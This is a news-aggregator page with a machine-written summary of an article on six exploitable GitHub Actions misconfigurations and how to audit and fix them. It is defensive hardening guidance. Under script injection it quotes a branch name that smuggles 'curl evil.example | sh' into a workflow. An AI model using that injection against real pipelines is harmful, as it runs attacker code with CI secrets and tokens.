Urgent.News

What's breaking now, across thousands of outlets.

Tech

Six GitHub Actions Misconfigurations That Actually Get Exploited (and the 30-Minute Audit That Finds Them)

Most GitHub Actions compromises do not start with a zero-day. They start with configuration: a tag that can be re-pointed, a token with more power than the job needs, a helpful workflow that checks out a fork's code "just to run the tests." The patterns are well understood, and every one of them is greppable. Below are the six risk classes that matter most, how to find each in your own repo, and…

GitHub actions vulnerabilities often stem from configuration issues rather than zero-day exploits. These problems are predictable and can be easily identified. The article highlights six main categories of risk, explains how to locate each in your repository, and provides the corresponding fix for each. It is recommended to run these commands in a specific order, starting with credential-holding release and deploy workflows, as that would be the sequence an attacker would follow.

1. Movable tags vs full-length SHAs: Actions pinned to movable tags can be manipulated by an attacker, leading to execution of malicious code with the workflow's token and secrets. Examples include references like actions/checkout@v4. To mitigate this, pin every action to its full-length commit SHA, indicating the version in a comment for human readability. Use Dependabot to suggest SHA updates as reviewable PRs.

2. Missing or overly permissive token permissions: When a workflow lacks explicit permissions, the GITHUB_TOKEN inherits the repository's default permissions, which can be broad. An attacker who compromises a step or action in the job can then push code, edit releases, and even merge pull requests beyond the job's intended scope.

Find workflows without explicit permissions, and then check for blocks granting excessive write access. Restrict permissions by setting a default at the top of the workflow, elevating only the job that requires more permissions.

3. Untrusted PR code execution: The pull_request_target event runs in the context of the base repository, with access to its secrets and a write-capable token. This poses a risk if the workflow checks out the PR head and runs any build, test, or install scripts. If this occurs, anyone with the ability to open a PR from a fork could execute arbitrary code with the secrets at their disposal.

Mitigate this by splitting the workflow into two parts: one that handles PR code execution as artifacts, and another that processes the artifacts and performs any necessary labeling, commenting, or publishing. This ensures that trusted credentials never interact with untrusted code.

4. Script injection via ${{ }} interpolation: The ${{ }} expressions are substituted into the workflow file before the shell processes it. If attacker-controlled data - such as a PR title, branch name, issue body, or commit message - is interpolated directly into a run: block, the attacker can control part of the shell script. For example, a branch named x ; curl evil.example | sh; echo could pose a significant threat.

To prevent this, pass event data through an environment variable and reference the variable in the script, quoted, so the shell treats it as inert data rather than code.

5. Long-lived PATs: Personal access tokens stored as secrets in GitHub Actions often outlive their intended purpose, possess extensive account permissions, and never expire. If these tokens are leaked, they can be used from anywhere, unlike the built-in GITHUB_TOKEN, which is scoped to a single repository and expires with the job.

Find secrets that are not the built-in GITHUB_TOKEN, and evaluate whether a fine-grained PAT with one repository and one permission or a short-lived GitHub App token would suffice. Follow a decision order: built-in token first, then a fine-grained PAT scoped to one repository and one permission, and finally a short-lived GitHub App token.

6. Pinned installer updates: Using curl or wget to fetch and execute fresh installers directly from remote URLs means every run executes the latest version served by the URL, which can be compromised by an attacker. To address this, pin the tool version, verify the checksum before executing the installer, or avoid installers altogether by using a tool's official setup action that is pinned to a full-length SHA, as described in category 1.

Written by urgent.news from Dev.to's reporting — not their text. Machine-written — may contain errors; check the original before relying on it.

Read the original at dev.to →

More in Tech

When Upstream Disappears: Building a Dependency Safety Net with Lockfiles, Proxy Caches and Git Mirrors

Tuần này trên Hacker News có tin repo ONNX Runtime của Microsoft biến mất khỏi GitHub. Chưa cần biết lý do là gì, câu hỏi mình đặt ra ngay là: nếu sáng mai một dependency quan trọng của team mình bị…

  • Use lockfiles and hashes to ensure exact dependency versions
  • Set up private proxy cache for package registries
  • Mirror important Git repositories to maintain code versions

Stop Guessing: Measure Your Flaky Test's Reproduction Rate First

Ask a team about their worst flaky test and you will get an opinion: "it fails sometimes," "it's the checkout one, it's really bad," "just re-run it, it always passes the second time." None of those…

  • Measure flaky test reproduction rate, not opinions
  • Run test multiple times on real CI runner
  • Count passes and failures, log results

More from Wednesday 18 November →